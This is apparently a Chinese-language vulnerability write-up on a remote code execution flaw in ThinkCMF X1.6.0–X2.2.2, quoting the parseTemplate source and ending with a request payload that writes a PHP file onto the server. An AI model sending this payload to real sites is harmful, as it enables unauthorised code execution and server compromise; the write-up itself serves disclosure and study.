发布于2022年11月25日2年前 根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。 漏洞危害 远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。 影响版本 ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 复现过程 漏洞出在:application\Portal\Controller\IndexController.class.php 首先引用Common\Controller\HomebaseController控制类文件,然后调用display函数 跟入display函数看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。 public function parseTemplate($template='') { $tmpl_path=C("SP_TMPL_PATH"); // 前台模板文件根目录 themes/ define("SP_TMPL_PATH", $tmpl_path); if($this->theme) { // 指定模板主题 $theme = $this->theme; }else{ // 获取当前主题名称 $theme = C('SP_DEFAULT_THEME'); // 前台模板文件 simplebootx if(C('TMPL_DETECT_THEME')) {// 自动侦测模板主题 $t = C('VAR_TEMPLATE'); //默认模板切换变量 t if (isset($_GET[$t])){ $theme = $_GET[$t]; }elseif(cookie('think_template')){ $theme = cookie('think_template'); } if(!file_exists($tmpl_path."/".$theme)){ //判断前台模板文件是否存在 $theme = C('SP_DEFAULT_THEME'); } cookie('think_template',$theme,864000); } } $theme_suffix=""; if(C('MOBILE_TPL_ENABLED') && sp_is_mobile()){//开启手机模板支持 if (C('LANG_SWITCH_ON',null,false)){ if(file_exists($tmpl_path."/".$theme."_mobile_".LANG_SET)){//优先级最高 $theme_suffix = "_mobile_".LANG_SET; }elseif (file_exists($tmpl_path."/".$theme."_mobile")){ $theme_suffix = "_mobile"; }elseif (file_exists($tmpl_path."/".$theme."_".LANG_SET)){ $theme_suffix = "_".LANG_SET; } }else{ if(file_exists($tmpl_path."/".$theme."_mobile")){ $theme_suffix = "_mobile"; } } }else{ $lang_suffix="_".LANG_SET; if (C('LANG_SWITCH_ON',null,false) && file_exists($tmpl_path."/".$theme.$lang_suffix)){ $theme_suffix = $lang_suffix; } } $theme=$theme.$theme_suffix; //定义当前语言 C('SP_DEFAULT_THEME',$theme); $current_tmpl_path=$tmpl_path.$theme."/"; // 获取当前主题的模版路径 define('THEME_PATH', $current_tmpl_path); $cdn_settings=sp_get_option('cdn_settings'); if(!empty($cdn_settings['cdn_static_root'])){ $cdn_static_root=rtrim($cdn_settings['cdn_static_root'],'/'); C("TMPL_PARSE_STRING.__TMPL__",$cdn_static_root."/".$current_tmpl_path); C("TMPL_PARSE_STRING.__PUBLIC__",$cdn_static_root."/public"); C("TMPL_PARSE_STRING.__WEB_ROOT__",$cdn_static_root); }else{ C("TMPL_PARSE_STRING.__TMPL__",__ROOT__."/".$current_tmpl_path); } C('SP_VIEW_PATH',$tmpl_path); C('DEFAULT_THEME',$theme); define("SP_CURRENT_THEME", $theme); if(is_file($template)) { return $template; } $depr = C('TMPL_FILE_DEPR'); $template = str_replace(':', $depr, $template); // 获取当前模块 $module = MODULE_NAME; if(strpos($template,'@')){ // 跨模块调用模版文件 list($module,$template) = explode('@',$template); } $module =$module."/"; // 分析模板文件规则 if('' == $template) { // 如果模板文件名为空 按照默认规则定位 $template = CONTROLLER_NAME . $depr . ACTION_NAME; }elseif(false === strpos($template, '/')){ $template = CONTROLLER_NAME . $depr . $template; } $file = sp_add_template_file_suffix($current_tmpl_path.$module.$template); $file= str_replace("//",'/',$file); if(!file_exists_case($file)) E(L('_TEMPLATE_NOT_EXIST_').':'.$file); return $file; } 由于parseTemplate函数为模板渲染函数,而该函数权限为public。导致可控,最终payload如下: /?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’) 参考链接 https://www.cnblogs.com/ch459742906/p/5949168.htmlhttps://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnwhttps://www.cnblogs.com/0daybug/p/11720575.html
创建帐户或登录后发表意见